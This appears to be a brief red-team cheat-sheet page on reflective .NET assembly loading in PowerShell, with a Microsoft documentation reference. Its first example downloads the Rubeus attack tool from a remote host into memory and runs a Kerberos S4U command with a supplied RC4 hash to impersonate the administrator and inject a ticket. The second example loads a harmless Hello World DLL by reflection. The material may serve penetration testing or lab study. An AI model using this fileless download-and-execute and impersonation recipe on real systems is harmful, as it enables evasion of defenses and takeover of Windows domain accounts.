Reflective Load
[System.Reflection.Assembly]::Load()
Load assembly executables into memory.
Simple example of loading Rubeus
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
Loading DLL files
Example assembly dll
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HelloWorldDll
{
public class Class1
{
public static void Execute()
{
Console.WriteLine("Hello World!");
}
}
}
Loading and interacting with assembly
$assem = [System.Reflection.Assembly]::LoadFile("C:\Users\HelloWorldDll.dll")
$class = $assem.GetType("HelloWorldDll.Class1")
$method = $class.GetMethod("Execute")
$method.Invoke(0, $null)

References
https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=net-7.0
Last updated